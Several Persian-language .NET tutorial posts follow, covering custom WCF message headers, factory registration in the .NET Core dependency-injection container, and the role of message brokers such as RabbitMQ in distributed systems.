مطالب
Message Header سفارشی در WCF
فرض کنید در حال توسعه یک سیستم مبتنی بر WCF هستید. بنابر نیاز باید  یک سری اطلاعات مشخص در اکثر درخواست‌های بین سرور و کلاینت ارسال شوند یا ممکن است بعد از انجام بیش از 50 درصد پروژه این نیاز به وجود آید که  یک یا بیش از یک  پارامتر (که البته از سمت کلاینت تامین خواهند شد) در اکثر کوئری‌های گرفته شده سمت سرور شرکت داده شوند. خوب! در این وضعیت علاوه بر حس همدردی با اعضای تیم توسعه دهنده این پروژه چه می‌توان کرد؟
»اولین راه حلی که به ذهن می‌رسد این است که پارامتر‌های مشخص شده را در متد‌های سرویس‌های مورد نظر قرار داد و به نوعی تمام سرویس‌ها را به روز رسانی کرد. این روش به طور قطع در خیلی از قسمت‌های پروژه به صورت مستقیم اثرگذار خواهد بود و در صورت نبود ابزار‌های تست ممکن است با مشکلات جدی روبرو شوید.
»راه حل دوم این است که یک Message Header سفارشی بسازیم و در هر درخواست اطلاعات مورد نظر را در هدر قرار داده و سمت سرور این اطلاعات را به دست آوریم. این روش کمترین تغییر مورد نظر را برای پروژه دربر خواهد داشت و از طرفی نیاز متد‌های سرویس به پارامتر را از بین می‌برد و دیگر نیازی نیست تا تمام متد‌های سرویس‌ها دارای پارامتر‌های یکسان باشند.
پیاده سازی
برای شروع کلاس مورد نظر برای ارسال اطلاعات را به صورت زیر خواهیم ساخت:
 [DataContract]
    public class ApplicationContext
    {
        [DataMember( IsRequired = true )]
        public string UserId
        {
            get {  return _userId; }
            set
            {
                _userId = value;
            }
        }
        private string _userId;      

        [DataMember( IsRequired = true )]
        public static ApplicationContext Current
        {
            get
            {
                return _current;
            }
            private set { _current = value; }
        }
        private static ApplicationContext _current;  
 public static void Register( ApplicationContext appContext ) { Current = appContext; IsRegistered = true; } }
در این کلاس به عنوان نمونه مقدار Id کاربر جاری باید در هر درخواست به سمت سرور ارسال شود. حال نیاز به یک MessageInspector داریم ، کافیست که اینترفیس IClientMessageInspector را توسط یک کلاس به صورت زیر پیاده سازی نماییم:
public class ClientMessageHeaderInspector<T> : IClientMessageInspector
    {
        private readonly T _vaccine;

        public ClientMessageHeaderInspector( T vaccine )
        {
            this._vaccine = vaccine;
        }

        public void AfterReceiveReply( ref Message reply, object correlationState )
        {
        }

        public object BeforeSendRequest( ref Message request, IClientChannel channel )
        {
            MessageHeader messageHeader = MessageHeader.CreateHeader( typeof( T ).Name, typeof( T ).Namespace, this._vaccine );
            request.Headers.Add( messageHeader );
            return null;
        }
    }
نوع T مورد استفاده برای تعیین نوع داده ارسالی سمت سرور است که در این مثال کلاس ApplicationContext خواهد بود. در متد BeforeSendRequest باید Header سفارشی را ساخته و آن را به هدر درخواست اضافه نماییم. حال باید MessageInspector ساخته شده بالا را با استفاده از IEndPointBehavior به MessageInspcetor‌های نمونه ساخته شده از ClientRuntime اضافه نماییم. برای این کار به صورت زیر عمل می‌نماییم:
public class ApplicationContextMessageBehavior : IEndpointBehavior
    {
        ClientMessageHeaderInspector<ApplicationContext> inspector = null;

        public ApplicationContextMessageBehavior()
        {
            inspector = new ClientMessageHeaderInspector<ApplicationContext>( ApplicationContext.Current );
        }

        public void AddBindingParameters( ServiceEndpoint endpoint, BindingParameterCollection bindingParameters )
        {
        }

        public void ApplyClientBehavior( ServiceEndpoint endpoint, ClientRuntime clientRuntime )
        {
            clientRuntime.MessageInspectors.Add( inspector );
        }

        public void ApplyDispatchBehavior( ServiceEndpoint endpoint, EndpointDispatcher endpointDispatcher )
        {
        }

        public void Validate( ServiceEndpoint endpoint )
        {          
        }
    }
همان طور که می‌بینید در کلاس بالا یک نمونه از کلاس ClientMessageInspector را بر اساس ApplicationContext می‌سازیم و در متد ApplyClientBehavior به نمونه clientRuntime اضافه می‌نماییم. اگر دقت کرده باشید می‌توان هر تعداد MessageInspector را به clientRunTime اضافه کرد.
در مرحله آخر باید تنظیمات مربوط به ChannelFactory را انجام دهیم.
public class ServiceMapper<TChannel>
    {      
        internal static EndpointAddress EPAddress
        {
            get
            {
                return _epAddress;
            }
        }
        private static EndpointAddress _epAddress;

        public static TChannel CreateChannel( Binding binding, string uriBase, string serviceName, bool setCredential )
        {
            _epAddress = new EndpointAddress( String.Format( "{0}{1}", uriBase, serviceName ) );

            var factory = new ChannelFactory<TChannel>( binding, _epAddress );        
         
           ApplicationContext.Register( new ApplicationContext
            {
                UserId = Guid.NewGuid()
            } );  
factory.Endpoint.Behaviors.Add( new ApplicationContextMessageBehavior() ); TChannel proxy = factory.CreateChannel(); if ( factory.Endpoint.Behaviors.OfType<ApplicationContextMessageBehavior>().Any() ) { using ( var scope = new OperationContextScope( ( IClientChannel )proxy ) ) { OperationContext.Current.OutgoingMessageHeaders.Add( MessageHeader.CreateHeader( typeof( ApplicationContext ).Name, typeof( ApplicationContext ).Namespace, ApplicationContext.Current ) ); } } return proxy; }
چند نکته:
»در متد CreateChannel، ابتدا تنظیمات مربوط به EndPointAddress و ChannelFactory انجام می‌شود. سپس یک نمونه از کلاس ApplicationContext را  توسط متد Register به کلاس مورد نظر رجیستر می‌کنیم. به این ترتیب مقدار خاصیت Current در کلاس ApplicationContext برابر با نمونه ساخته شده می‌شود. سپس کلاس ApplicationContextMessageBehavior به خاصیت Behavior در ChannelFactory  اضافه می‌شود. در انتها نیز هدر سفارشی ساخته شده به MessageHeader‌های نمونه جاری OperationContext اضافه می‌شود. این عمل توسط کد زیر انجام می‌گیرد:
OperationContext.Current.OutgoingMessageHeaders.Add( MessageHeader.CreateHeader( typeof( ApplicationContext ).Name, typeof( ApplicationContext ).Namespace, AppConfiguration.Application ) );
از این پس هر درخواستی که از سمت کلاینت به سمت سرور ارسال شود به همراه خود یک نمونه از کلاس ApplicationContext را خواهد داشت. فقط دقت داشته باشید که برای ساخت ChanelFactory باید همیشه از متد CreateChannel استفاده نمایید.
استفاده از هدر سفارشی سمت سرور

حال قصد داریم که اطلاعات مورد نظر را از هدر درخواست در سمت سرور به دست آورده و از آن در کوئری‌های خود استفاده نماییم. کد زیر این کار را برای ما انجام می‌دهد:
 if ( OperationContext.Current != null && OperationContext.Current.IncomingMessageHeaders.FindHeader( typeof( ApplicationContext ).Name , typeof( ApplicationContext ).Namespace ) > 0 )
            {
                _application = OperationContext.Current.IncomingMessageHeaders.GetHeader<ApplicationContext>( typeof( ApplicationContext ).Name , typeof( ApplicationContext ).Namespace );
            }
متد FindHeader در خاصیت IncomingMessageHeader با استفاده از نام و فضای نام به دنبال هدر سفارشی می‌گردد. اگر خروجی متد از 0 بیشتر بود بعنی هدر مورد نظر موجود است. در پایان نیز با استفاده از متد GetHeader، نمونه ساخته شده کلاس ApplicationContext را به دست می‌آوریم.

مطالب
مهارت‌های تزریق وابستگی‌ها در برنامه‌های NET Core. - قسمت ششم - دخالت در مراحل وهله سازی اشیاء توسط IoC Container
روش متداول کار با تزریق وابستگی‌های برنامه‌های مبتنی بر NET Core.، عموما با ثبت و معرفی یک سرویس به صورت زیر، توسط متدهای AddTransient، AddSingleton و AddScoped است:
public class Startup 
{ 
    public void ConfigureServices(IServiceCollection services) 
    { 
        // ... 
         
        services.AddTransient<ICustomerService, DefaultCustomerService>(); 
         
        // ... 
    } 
}
و سپس استفاده‌ی از این سرویس، با تزریق آن در سازنده‌ی یک کنترلر که نمونه‌های بیشتری از آن‌را در قسمت چهارم بررسی کردیم:
public class SupportController 
{ 
    // DefaultCustomerService will be injected here: 
    public SupportController(ICustomerService customerService) 
    { 
        // ... 
    } 
}
در اینجا کار وهله سازی DefaultCustomerService به صورت خودکار و راسا توسط IoC Container توکار برنامه صورت می‌گیرد و ما هیچگونه دخالتی را در آن نداریم. اما اگر در این بین نیاز باشد پس از وهله سازی DefaultCustomerService، یک خاصیت آن نیز بر اساس شرایط جاری مقدار دهی شود و حاصل نهایی در اختیار SupportController فوق قرار گیرد چه باید کرد؟
برای سفارشی سازی مراحل وهله سازی اشیاء توسط IoC Container توکار برنامه و امکان دخالت در آن، قابلیتی تحت عنوان «factory registration» نیز پیش بینی شده‌است که در ادامه آن‌را بررسی می‌کنیم.


Factory Registration چیست؟

اگر در اسمبلی Microsoft.Extensions.DependencyInjection.Abstractions و فضای نام Microsoft.Extensions.DependencyInjection آن به کلاس ServiceCollectionServiceExtensions که متدهای الحاقی مانند AddScoped را ارائه می‌کند، بیشتر دقت کنیم، تک تک این متدها امضاهای دیگری را نیز دارند:
namespace Microsoft.Extensions.DependencyInjection
{
    public static class ServiceCollectionServiceExtensions
    {
        public static IServiceCollection AddScoped<TService>(
     this IServiceCollection services) where TService : class;
        public static IServiceCollection AddScoped(
     this IServiceCollection services, Type serviceType, Type implementationType);
        public static IServiceCollection AddScoped(
     this IServiceCollection services, Type serviceType, 
 Func<IServiceProvider, object> implementationFactory);
        public static IServiceCollection AddScoped<TService, TImplementation>(this IServiceCollection services)
        public static IServiceCollection AddScoped(
     this IServiceCollection services, Type serviceType);
        public static IServiceCollection AddScoped<TService>(
     this IServiceCollection services, 
 Func<IServiceProvider, TService> implementationFactory) where TService : class;
        public static IServiceCollection AddScoped<TService, TImplementation>(
     this IServiceCollection services, 
 Func<IServiceProvider, TImplementation> implementationFactory)
// ...
    }
}
همانطور که ملاحظه می‌کنید، امضای تعدادی از این overloadها، دارای پارامترهایی از نوع Func نیز هست و هدف آن‌ها فراهم آوردن روشی برای سفارشی سازی مراحل وهله سازی سرویسی‌های بازگشتی از طریق سیستم تزریق وابستگی‌های برنامه است. توسط این پارامتر، پیش از وهله سازی سرویس درخواستی، IServiceProvider جاری یا همان root container را در اختیار شما قرار می‌دهد (اطلاعات بیشتر در مورد IServiceProvider را در قسمت دوم بررسی کردیم) و توسط آن می‌توان ابتدا وهله‌ای از سرویس یا سرویس‌های خاصی را دریافت کرد و پس از ترکیب و سفارشی سازی آن‌ها، در آخر یک object را بازگشت داد که در نهایت به عنوان وهله‌ی اصلی این سرویس درخواستی، در سراسر برنامه مورد استفاده قرار می‌گیرد. در ادامه با مثال‌هایی، کاربردهای این پارامتر از نوع Func، یا Implementation Factory را بررسی می‌کنیم.


مثال 1 : تزریق وابستگی‌ها در حالتیکه کلاس سرویس مدنظر دارای تعدادی پارامتر ثابت است

IoC Container توکار برنامه‌های NET Core.، به صورت خودکار وابستگی‌های تزریق شده‌ی در سازنده‌های سرویس‌های مختلف را تا هر چند سطح ممکن، به صورت خودکار وهله سازی می‌کند؛ به شرطی‌که این وابستگی‌های تزریق شده نیز خودشان سرویس بوده باشند و در تنظیمات ابتدایی آن ثبت و معرفی شده باشند. به عبارتی زمانیکه با سیستم تزریق وابستگی‌ها کار می‌کنیم، مهم نیست که نگران مقدار دهی پارامترهای سازنده‌ی تزریق شده‌ی در سازنده‌های سرویسی خاص باشیم. اما ... برای نمونه سرویس زیر را که یک رشته را در سازنده‌ی خود دریافت می‌کند درنظر بگیرید:
namespace CoreIocServices
{
    public interface IParameterizedService
    {
        string GetConstructorParameter();
    }

    public class ParameterizedService : IParameterizedService
    {
        private readonly string _connectionString;

        public ParameterizedService(string connectionString)
        {
            _connectionString = connectionString;
        }

        public string GetConstructorParameter()
        {
            return _connectionString;
        }
    }
}
اینبار دیگر نمی‌توان این سرویس را از طریق متداول زیر ثبت و معرفی کرد:
services.AddTransient<IParameterizedService, ParameterizedService>();
چون IoC Container نمی‌داند که چگونه و از کجا باید پارامتر رشته‌ای درخواستی در سازنده‌ی کلاس ParameterizedService را تامین کند. همچنین ثبت سرویس‌ها نیز در کلاس ServiceCollectionServiceExtensions معرفی شده‌ی در ابتدای بحث، به قید «where TService : class» محدود شده‌است. اینجا است که روش factory registration به کمک ما خواهد آمد تا بتوانیم مراحل وهله سازی این سرویس را سفارشی سازی کنیم:
services.AddTransient<IParameterizedService>(serviceProvider =>
{
   return new ParameterizedService("some value ....");
});
البته چون بدنه‌ی این Func، صرفا از یک return تشکیل شده‌است، معادل ساده شده‌ی زیر را هم می‌تواند داشته باشد:
services.AddTransient<IParameterizedService>(serviceProvider => new ParameterizedService("some value ...."));
اینبار در سراسر برنامه اگر سرویس IParameterizedService درخواست شود، وهله‌ای از کلاس ParameterizedService را با پارامتر سازنده‌ی "some value ...."، دریافت خواهد کرد.

در اینجا چون serviceProvider نیز در اختیار ما است، حتی می‌توان این مقدار را از سرویسی دیگر دریافت کرد و سپس مورد استفاده قرار داد:
services.AddTransient<IParameterizedService>(serviceProvider =>
{
   var config = serviceProvider.GetRequiredService<ITestService>().GetConfigValue();
   return new ParameterizedService(config);
});

نمونه‌ی دیگری از این دست، کار با IUrlHelper توکار ASP.NET Core است. این سرویس برای اینکه پاسخ درستی را ارائه دهد، نیاز به ActionContext جاری را دارد تا بتواند از طریق آن به تمام جزئیات اکشن متد یک کنترلر و درخواست رسیده دسترسی داشته باشد. در این حالت برای ساده سازی کار با آن، بهتر است تامین وابستگی‌های لحظه‌ای این سرویس را با سفارشی سازی نحوه‌ی وهله سازی آن، انجام دهیم، تا اینکه این قطعه کد تکراری را در هر جائیکه به IUrlHelper نیاز است، تکرار کنیم:
services.AddScoped<IUrlHelper>(serviceProvider =>
{
   var actionContext = serviceProvider.GetRequiredService<IActionContextAccessor>().ActionContext;
   var urlHelperFactory = serviceProvider.GetRequiredService<IUrlHelperFactory>();
   return urlHelperFactory.GetUrlHelper(actionContext);
});
اکنون اگر IUrlHelper را به سازنده‌ی یک کنترلر تزریق کنیم، دیگر نیازی به سه سطر نوشته‌ی تامین factory و action context آن نخواهد بود.


مثال 2: وهله سازی در صورت نیاز به وابستگی‌های یک سرویس، به کمک Lazy loading

فرض کنید دو سرویس را در سازنده‌ی سرویس دیگری تزریق کرده‌اید:
namespace Services
{
    public class OrderHandler : IOrderHandler
    {
        private readonly IAccounting _accounting;
        private readonly ISales _sales;
        public OrderHandler(IAccounting accounting, ISales sales)
        {
بعد در این کلاس، در یک متد، از سرویس accounting استفاده می‌شود و در متدی دیگر از سرویس sales. یعنی هرچند در زمان وهله سازی شیء OrderHandler هر دو وابستگی تزریق شده‌ی در سازنده‌ی آن نیز وهله سازی خواهند شد، اما در بسیاری از شرایط، بسته به متد مورد استفاده، فقط از یکی از آن‌ها استفاده می‌کنیم. اکنون این سؤال مطرح می‌شود که آیا می‌توان سربار وهله سازی تمام سازنده‌های این کلاس را به زمان استفاده‌ی از آن‌ها منتقل کرد؟ یعنی سرویس accounting تزریق شده فقط زمانی وهله سازی شود که واقعا قرار است از آن استفاده کنیم.
روش انجام یک چنین کارهایی با استفاده از کلاس Lazy اضافه شده‌ی به NET 4x. قابل انجام است:
   public class OrderHandlerLazy : IOrderHandler
    {
        public OrderHandlerLazy(Lazy<IAccounting> accounting, Lazy<ISales> sales)
        {
 و برای معرفی آن در اینجا می‌توان از روش factory registration استفاده کرد:
services.AddTransient<IOrderHandler, OrderHandlerLazy>();
services.AddTransient<IAccounting, Accounting>()
            .AddTransient(serviceProvider => new Lazy<IAccounting>(() => serviceProvider.GetRequiredService<IAccounting>()));
services.AddTransient<ISales, Sales>()
           .AddTransient(serviceProvider => new Lazy<ISales>(() => serviceProvider.GetRequiredService<ISales>()));
- در اینجا در ابتدا تمام سرویس‌ها (حتی آن‌هایی که قرار است به صورت Lazy استفاده شوند) یکبار به صورت متداولی معرفی می‌شوند.
- سپس سرویس‌هایی که قرار است به صورت Lazy نیز واکشی شوند، بار دیگر توسط روش factory registration با وهله سازی new Lazy از نوع سرویس مدنظر و فراهم آوردن پیاده سازی آن با استفاده از serviceProvider.GetRequiredService، مجددا معرفی خواهند شد.

پس از این تنظیمات، اگر سرویس IOrderHandler را از طریق سیستم تزریق وابستگی‌ها درخواست کنید، وابستگی‌های تزریق شده‌ی در سازنده‌ی آن فقط زمانی و در محلی وهله سازی می‌شوند که از طریق خاصیت Value شیء Lazy آن‌ها مورد استفاده قرار گرفته شده باشند.
مثال کامل IOrderHandler را از فایل پیوستی انتهای مطلب می‌توانید دریافت. اگر آن‌را اجرا کنید (برنامه‌ی کنسول آن‌را)، در خروجی آن، فقط اجرا شدن سازنده‌ی سرویسی را مشاهده می‌کنید که مورد استفاده قرار گرفته و نه وابستگی دومی که تزریق شده، اما استفاده نشده‌است.


مثال 3: چگونه بجای اینترفیس‌ها، یک وهله از کلاسی مشخص را از سیستم تزریق وابستگی‌ها درخواست کنیم؟

فرض کنید سرویسی را به صورت زیر به سیستم تزریق وابستگی‌ها معرفی کرده‌اید:
services.AddTransient<IMyDisposableService, MyDisposableService>();
در ادامه اگر سرویس IMyDisposableService را از این سیستم درخواست کنیم، برنامه بدون مشکل اجرا می‌شود؛ اما اگر خود MyDisposableService را تزریق کنیم چطور؟
public class AnotherController 
{ 
    public AnotherController(MyDisposableService customerService) 
    { 
        // ... 
    } 
}
در این حالت برنامه با استثنای زیر متوقف می‌شود و عنوان می‌کند که نمی‌داند چگونه باید این وابستگی تزریق شده را تامین کند:
An unhandled exception occurred while processing the request. 
InvalidOperationException: Unable to resolve service for type ‘MyDisposableService’ while attempting to activate ‘AnotherController’. 
Microsoft.Extensions.DependencyInjection.ActivatorUtilities.GetService(IServiceProvider sp, Type type, Type requiredBy, bool isDefaultParameterRequired)
این مورد را نیز می‌توان توسط factory registration به نحو زیر مدیریت کرد:
services.AddTransient<IMyDisposableService, MyDisposableService>();
services.AddTransient<MyDisposableService>(serviceProvider =>
serviceProvider.GetRequiredService<IMyDisposableService>() as MyDisposableService);
هر زمانیکه وهله‌ای از کلاس MyDisposableService درخواست شود، وهله‌ای از سرویس IMyDisposableService را بازگشت می‌دهیم.


کدهای کامل این قسمت را از اینجا می‌توانید دریافت کنید: CoreDependencyInjectionSamples-06.zip
مطالب
سیستم‌های توزیع شده در NET. - بخش ششم- Message Broker

شاید مهمترین اصل در سیستمهای توزیع شده، تقسیم وظایف در سخت افزارهای جداگانه و نحوه مدیریت ارتباط بین این وظایف باشد. مدیریتی که بدون آن، زمانیکه تعداد وظایف سیستم شما زیاد می‌شود، سیستم را با مشکلات جدی روبرو می‌کند. به احتمال زیاد شما نیز تاکنون با چنین مشکلاتی مواجه شده‌اید، آن هم زمانیکه تعداد Applicationهای سیستم‌هایتان زیاد می‌شود و به تدریج وابستگی‌ها و ارتباطات بین آنها نیز افزایش پیدا کرده و بدلیل اینکه شما از قبل زیرساختی برای مدیریت این ارتباطات ایجاد نکرده‌اید، کم کم کنترل این ارتباطات از دست شما خارج شده‌است. به همین دلیل من نیز می‌خواهم پیاده سازی سیستم‌های توزیع شده را از نحوه مدیریت ارتباطات و وابستگی‌های قسمتهای مختلف یک سیستم آغاز کنم تا بتوانیم از ابتدای ایجاد سیستم توزیع شده، زیرساخت درستی نیز برای مدیریت وابستگی‌ها و ارتباطات قسمتهای مختلف آن داشته باشیم. پس بیایید با ارائه مثالی که به احتمال زیاد شما هم تابحال با آن روبرو شده‌اید، با هم ببینیم که چگونه داشتن یک روش واحد و انعطاف پذیر برای مدیریت ارتباط بین سیستمهای مختلف می‌تواند به ما در تقسیم بندی وظایف، یکپارچگی سیستم، بالا بردن کارآیی و مدیریت بهتر کل سیستم کمک کند.

فرض کنید ما چندین سیستم بزرگ مرتبط یا غیر مرتبط به هم داریم که هر کدامشان از چندین زیر سیستم تشکیل شده‌اند. ارتباط و وابستگی این سیستم‌ها به این صورت است که یا از سیستم‌های دیگر سرویس‌هایی را دریافت می‌کنند، یا داده‌های مورد استفاده در آنها توسط سیستم‌های دیگر تولید می‌شوند و آنها در بازه زمانی مشخصی این داده‌ها را در سیستم‌های خودشان بروزرسانی می‌کنند. 

همانطور که می‌بینید کل سیستم ما از همکاری تعدادی سیستم بزرگ تشکیل شده‌است که هرکدام از این سیستمهای بزرگ نیز از همکاری دو نوع زیر سیستم تشکیل شده‌اند. نوع اول این زیرسیستمها که با عبارت Sub System مشخص شده‌اند، زیر سیستمهایی هستند که تنها در همان سیستم استفاده می‌شوند و نوع دوم که با عبارت Common Sub System مشخص شده‌اند و ما نیز زیاد با آنها روبرو می‌شویم، زیرسیستمهایی هستند که بصورت مشترک بین دو یا چند سیستم بزرگ مورد استفاده قرار می‌گیرند. بعنوان مثال می‌توان زیرسیستم ارسال پیامک، ارسال ایمیل، مدیریت Log، زیر سیستم پرداخت و هر نوع زیرسیستم دیگری را که در سیستمهای مختلف بصورت مشترک استفاده می‌شود، نام برد. 

به احتمال زیاد همه کسانیکه در سیستم‌های رو به رشد و بزرگ کار کرده‌اند خوب می‌دانند که با بزرگتر شدن سیستم‌ها و افزایش تعداد سیستم‌های مرتبط و وابسته به هم، در صورت نبود یک روش واحد و انعطاف پذیر برای مدیریت ارتباط بین سیستم‌های مختلف، چه مشکلاتی برای کل سیستم بوجود می‌آید. مشکلاتی‌که در ابتدای شروع سیستم به هیچ وجه به چشم نمی‌آمدند، اما با توسعه و رشد سیستم، برایمان جدی می‌شوند.

بطور مثال زمانیکه اطلاعات پایه سیستم شما توسط یک یا چند سیستم تولید می‌شوند و سایر سیستم‌ها بخاطر پایین نیامدن کارآیی سیستم خودشان مجبورند داده‌های سیستم پایه را در سیستم خودشان Replicate کنند، شما چه روشی را برای بروز رسانی داده‌های سایر سیستم‌ها ارائه می‌دهید؟ شاید ساده‌ترین و اولین روشی که به ذهنمان برسد، ایجاد یک Job باشد که با اجرا شدن در بازه زمانی مشخصی (مثلا شبانه) عملیات بروزرسانی را انجام دهد. این روش دو مشکل اساسی دارد: اول اینکه بصورت RealTime نیست. یعنی از زمانیکه داده وارد سیستم پایه می‌شود، تا زمانیکه Job اجرا شود، سیستمهای دیگر نمی‌توانند از داده جدید استفاده کنند و دوم اینکه با اضافه شدن به تعداد سیستم‌های وابسته شما مجبورید یا یک Job جدید را برای آن پیاده سازی کنید، یا قبلی را تغییر دهید. شاید شما با پیاده سازی چند سرویس در سیستم‌های پایه و وابسته بتوانید مشکل RealTime نبودن بروز رسانی داده را حل کنید، اما این روش نیز بدون مشکل نیست. شاید اولین مشکل این روش این باشد، در صورتیکه در زمان فراخوانی، یکی از طرفین در دسترس نباشد، داده‌ها بروز رسانی نشوند و حل این مشکل پیچیدگی زیادی را برای شما بوجود بیاورد و دومین مشکل این است که در این روش نیز مانند روش قبل، با اضافه شدن به تعداد سیستم‌های وابسته شما مجبورید یا سرویس‌های جدیدی را برای این کار ایجاد کنید، یا سرویس‌های قبلی را تغییر دهید. تکرار این روال باعث می‌شود شما پس از مدتی با انبوهی از سرویس‌های مختلف رو برو شوید که مدیریت آنها برای شما بسیار دشوار است.

یکی دیگر از مشکلاتی‌که ممکن است بوجود بیاید این است که با بزرگتر شدن و افزایش تعداد سیستم‌ها، تعداد زیر سیستمهای تکراری نیز افزایش پیدا می‌کند که این خود ممکن است باعث شود یکپارچگی سیستم ما از بین برود. بنظر شما بهتر نبود زیرسیستم‌های تکراری را اینقدر در سیستم‌های مختلف تکرار نکنیم و با درنظر گرفتن آنها بعنوان یک یا چند زیرسیستم مستقل، کارآیی، یکپارچگی و مدیریت کل سیستم را افزایش دهیم؟

وجود مشکلات فوق و سایر مشکلاتی که ممکن است با بزرگتر شدن سیستم و افزایش تعداد آنها بوجود بیایند (که باتوجه به تجربه شما بنظرم نیازی به ذکر آنها نیست) با مرور زمان پیچیدگی‌های بسیار زیای را در سیستم ما بوجود می‌آورد که شاید حل کردن آن امکان پذیر نباشد یا حداقل نیاز به صرف زمان و هزینه زیادی داشته باشد. پس شاید بهتر باشد در ابتدای پیاده سازی سیستم، زیرساخت درستی را برای ارتباط بین سیستم‌های مختلف ایجاد کنیم.

اما چگونه می‌توانیم این مجموعه سیستم را با هم ادغام کنیم و برای همه آنها یک هدف را مشخص کنیم و به آنها اجازه بدهیم با استفاده از یک روش واحد، انعطاف پذیر و کم هزینه، با یکدیگر در ارتباط باشند؟

باید بگویم که این مشکل با استفاده از Message Broker حل می‌شود .

 یک  Message Broker  یک کامپوننت فیزیکی است که ارتباطات بین سیستمهای  مختلف را مدیریت می‌کند و درواقع برای حل مشکلات مرتبط با نحوه مدیریت ارتباطات و وابستگی‌های بین سیستم‌های مختلف طراحی شده است. با استفاده از Message Broker بجای اینکه سیستم‌های مختلف بصورت مستقیم با یکدیگر در ارتباط باشند، تنها با  Message Broker در ارتباط اند و در اینجا Message Broker نقش یک Interface را بصورتی ایفا می‌کند که وظیفه آن به حداقل رساندن وابستگی‌های مستقیم بین سیستم‌های مختلف است. همچنین  نحوه ارتباط قسمت‌های مختلف هم به این صورت است که یک سیستم با ارائه مشخصات گیرنده یا گیرندگان، یک Message را برای Message Broker  ارسال می‌کند و سپس Message Broker با روشها و الگوریتم‌هایی که در اختیار دارد و با جستجو در بین سیستم‌هایی که با آن مشخصات در آن ثبت شده‌اند، Message را برای آنها ارسال می‌کند.

ارتباط بین Application ‌ها تنها شامل ارسال کننده و Message broker و گیرنده‌های مشخص شده‌است و سایر سیستم‌ها در آن دخیل نیستند. همچنین بدلیل اینکه Message Brokerها از یک صف انتقال اطلاعات استفاده می‌کنند، احتمال از دست رفتن Messageها به حداقل ممکن می‌رسد. یعنی زمانیکه یک سیستم، Messageی را برای Message Broker  ارسال می‌کند، Message Broker تا زمانیکه دریافت کنندگان Message، آن را دریافت نکنند، آن Message را از صف انتقال حذف نمی‌کند. پس زمانیکه یک ارسال کننده Messageی را برای Message Broker  ارسال می‌کند، حتی در صورتیکه دریافت کننده یا دریافت کنندگان در دسترس نیز نباشند، Message Broker  این قابلیت را دارد تا زمانیکه دوباره دریافت کنندگان در دسترس باشند، Messageها را نگهداری کند. زیرا از دیدگاه کنترل جریان، Message Brokerها محدودیتی در تعداد سیستم‌های متصل به خودشان و  زمان اتصال آنها ندارند. یعنی Message Brokerها این قابلیت را دارند حتی در زمان اجرا نیز سیستم‌های جدید را بپذیرند. بطور خلاصه Message Brokerها مدیریت همکاری بین سیستم‌های مختلف را بر عهده دارند. قرار دادن Message Brokerها بین ارسال کنندگان و دریافت کنندگان، انعطاف پذیری را در ارتباط بین سیستم‌های مختلف افزایش می‌دهد و با کمترین میزان تغییر در ارسال کنندگان و گیرندگان می‌توانید قابلیت‌های جدیدی را به سیستم اضافه کنید.

با این روش شما می‌توانید با کمترین هزینه برای سیستمهای درگیر، تغییرات سیستم‌های پایه را در سیستم‌های وابسته اعمال کنید؛ آن هم بصورتیکه با افزایش تعداد سیستم‌های وابسته، نیازی به تغییر در سیستم پایه و سایر سیستم‌ها نباشد. همچنین با این روش شما به راحتی و کمترین هزینه می‌توانید تمامی زیرسیستم‌های خود ازجمله زیرسیستم‌های مشترک را بصورت یک زیرسیستم مستقل پیاده سازی کنید و با این کار یکپارچگی کل سیستم خود را افزایش دهید. کارآیی آنها را بالا ببرید و با مستقل شدن آنها مدیریت آنها را برای خودتان ساده‌تر کنید.

انواع مختلفی از Message Brokerها وجود دارند که هر کدام از آنها مزایا و معایب خاص خودشان را دارند و به دلیل اینکه من در سری مقالات سیستم‌های توزیع شده سعی دارم شما را با مبانی پیاده سازی آنها آشنا کنم، تنها یکی از آنها را مورد بررسی قرار می‌دهم و مقایسه و تصمیم گیری در مورد اینکه کدامیک از آنها کارآیی بیشتری را برای شما دارد، بر عهده خودتان می‌گذارم. من در اینجا شناخته شده‌ترین Message Brokerهایی را که در دسترس هستند و شما می‌توانید از آنها استفاده کنید، به شما معرفی می‌کنم.

لیست Message brokerها:

در فصل بعد من سعی می‌کنم شما را با Rabbitmq  که از معروف‌ترین، پایدار‌ترین و قابل اعتماد‌ترین Message Brokerهایی که شخصا چندین سیستم را با استفاده از آن پیاده سازی کرده‌ام، آشنا کنم و ببینیم که چگونه این ابزار می‌تواند به ما در رفع مشکلاتیکه در نحوه مدیریت و سازماندهی سیستم‌های مختلف بوجود می‌آیند، کمک کند.

البته این نکته را نیز باید ذکر کنم که همانطور که می‌بینید همیشه دلیل استفاده کردن از سیستم‌های توزیع شده، بالابردن کارآیی نیست. ما می‌توانیم برای پیاده سازی  سیستم‌های توزیع شده دلایل و اهداف دیگری نیز داشته باشیم. همانطور که مشاهده کردید ما نه‌تنها از Message Brokerها می‌توانیم در سیستم‌هایی که واقعا تمام اجزایشان بصورت توزیع شده پیاده سازی شده‌اند، استفاده کنیم، بلکه می‌توانیم از آنها برای مدیریت وابستگی‌ها و ارتباطات بین سیستم‌های فعلی که داریم نیز استفاده کنیم و درواقع بصورت واقعی و فنی برای همه آنها هدف واحدی را تعریف کنیم. فعلا هدف من این است که با هم ببینیم چگونه می‌توانیم وظایف مختلف سیستم را در سخت افزارهای مختلف، تقسیم کنیم و ارتباطات آنها را مدیریت کنیم. در فصل‌های بعد می‌بینیم که برای رسیدن به اهداف دیگر سیستم‌های توزیع شده از چه روشها و ابزارهای دیگری میتوان استفاده کرد.

نظرات مطالب
ارتقاء به ASP.NET Core 1.0 - قسمت 17 - بررسی فریم ورک Logging
یک نکته‌ی تکمیلی: معرفی سیستم Logging در Asp.Net Core

